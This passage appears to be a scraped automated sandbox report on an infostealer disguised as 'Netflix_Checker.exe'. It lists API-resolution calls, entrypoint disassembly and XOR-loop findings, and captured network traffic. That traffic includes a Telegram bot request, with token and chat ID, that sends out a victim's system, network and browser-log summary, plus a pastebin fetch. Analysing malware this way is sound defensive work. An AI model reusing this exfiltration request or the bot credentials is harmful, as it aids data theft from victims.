with a parameter FlsAlloc (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter NtCreateProcessEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter RtlCreateProcessParametersEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter NtCreateThreadEx (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter NtQueryInformationFile (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter NtSuspendProcess (UID: 00000000-00005968) "svcwhost.exe" called "GetProcAddress" with a parameter NtResumeProcess (UID: 00000000-00005968) "Netflix_Checker.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00006396) "Netflix_Checker.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00006396)38:T7d6,GET /geolocation/wifi?v=1.1&bssid=00:50:56:91:b8:ea HTTP/1.1Host: api.mylnikov.org Connection: Keep-Alive GET /bot6082381502:AAGYF_HaZVw7ziBPxYHyd8WNo0uQbAM7fiU/sendMessage?chat_id=5795480469&text=%0A%20%20%F0%9F%8C%AA%20*WorldWind%20Pro%20-%20Results:*%0ADate:%202024-08-01%203:12:19%20AM%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20HAPUBWS%0ACompName:%20DESKTOP-FVVF82A%0ALanguage:%20%F0%9F%87%BA%F0%9F%87%B8%20en-US%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20*Hardware:*%0ACPU:%20Intel(R)%20Xeon(R)%20Gold%206240R%20CPU%20@%202.40GHz%0AGPU:%20VMware%20SVGA%203D%0ARAM:%208191MB%0AHWID:%200F8BFBFF000406F0%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x800%0A%0A%20%20%F0%9F%93%A1%20*Network:*%20%0AGateway%20IP:%20192.168.0.1%0AInternal%20IP:%20192.168.0.2%0AExternal%20IP:%2064.124.12.162%0ABSSID:%2000:50:56:91:b8:ea%0A%0A%20%20%F0%9F%92%B8%20*Domains%20info:*%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20*Bank%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20*Crypto%20Logs*%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20*Freaky%20Logs*%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20*Logs:*%0A%20%20%20%E2%88%9F%20%F0%9F%8D%AA%20Cookies:%2042%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%2010%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%207%0A%0A%20%20%F0%9F%97%83%20*Software:*%0A%0A%20%20%F0%9F%A7%AD%20*Device:*%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20*File%20Grabber:*%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%206%0A%0A%20Telegram%20Channel:%20@X_Splinter&parse_mode=Markdown&disable_web_page_preview=True HTTP/1.1Host: api.telegram.org Connection: Keep-Alive GET /bot6082381502:AAGYF_HaZVw7ziBPxYHyd8WNo0uQbAM7fiU/sendMessage?chat_id=5795480469&text=%F0%9F%93%81%20Uploading%20Log%20Folders... HTTP/1.1H o s t : a p i . t e l e g r a m . o r g GET /raw/7B75u64B HTTP/1.1Host: pastebin.com Connection: Keep-Alive 39:Tb76,"ee5db. Trojan.exe" file has an entrypoint instructions - "call 0x40520d,jmp 0x404907,cmp ecx, dword ptr [0x425040],jne 0x404a96,ret ,jmp 0x40558d,jmp 0x405765,push ebp,mov ebp, esp,jmp 0x404ab2,push dword ptr [ebp + 8],call 0x40de1b,pop ecx,test eax, eax,je 0x404ac1,push dword ptr [ebp + 8],call 0x40af77,pop ecx,test eax, eax,je 0x404aa5,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x4011aa,jmp 0x40576a,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x405765,pop ecx,pop ebp,ret ,push ebp,mov ebp, esp,test byte ptr [ebp + 8], 1,push esi," "Netflix_Checker.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "svcwhost.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14001cb54,add rsp, 0x28,jmp 0x140013c0c,int3 ,int3 ,mov qword ptr [rsp + 0x10], rbx,mov qword ptr [rsp + 0x18], rbp,push rsi,push rdi,push r12,push r14,push r15,sub rsp, 0x20,mov edi, dword ptr [r8 + 0xc],mov r12, rcx,mov rcx, r8,mov rsi, r9,mov r14, r8,mov r15, rdx,call 0x14001cdf4,mov r10, qword ptr [r12],mov qword ptr [rsi], r10,mov ebp, eax,test edi, edi,je 0x140013e4b,movsxd rax, dword ptr [r14 + 0x10],dec edi,lea rdx, [rdi + rdi*4],lea rbx, [rax + rdx*4],add rbx, qword ptr [r15 + 8],cmp ebp, dword ptr [rbx + 4]," "Service_Macromedia.exe.bin" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14001cb54,add rsp, 0x28,jmp 0x140013c0c,int3 ,int3 ,mov qword ptr [rsp + 0x10], rbx,mov qword ptr [rsp + 0x18], rbp,push rsi,push rdi,push r12,push r14,push r15,sub rsp, 0x20,mov edi, dword ptr [r8 + 0xc],mov r12, rcx,mov rcx, r8,mov rsi, r9,mov r14, r8,mov r15, rdx,call 0x14001cdf4,mov r10, qword ptr [r12],mov qword ptr [rsi], r10,mov ebp, eax,test edi, edi,je 0x140013e4b,movsxd rax, dword ptr [r14 + 0x10],dec edi,lea rdx, [rdi + rdi*4],lea rbx, [rax + rdx*4],add rbx, qword ptr [r15 + 8],cmp ebp, dword ptr [rbx + 4],"3a:T90c,Found XOR loop in file "Netflix_Checker.exe" at offset 17972; code bytes = 8030 Found XOR loop in file "Netflix_Checker.exe" at offset 25597; code bytes = 8030 Found XOR loop in file "Netflix_Checker.exe" at offset 26257; code bytes = 8030 Found XOR loop in file "Netflix_Checker.exe" at offset 318469; code bytes = 8030 Found XOR loop in file "Netflix_Checker.exe" at offset 410062; code bytes = 8030 Found XOR loop in file "svcwhost.exe" at offset 233656; code bytes = 30d0 Found XOR loop in file "svcwhost.exe" at offset 299413; code bytes = 30d0 Found XOR loop in file "svcwhost.exe" at offset 300805; code bytes = 30d0 Found XOR loop in file "svcwhost.exe" at offset 114640; code bytes = 33c1 Found XOR loop in file "svcwhost.exe" at offset 248684; code bytes = 33c1 Found XOR loop in file 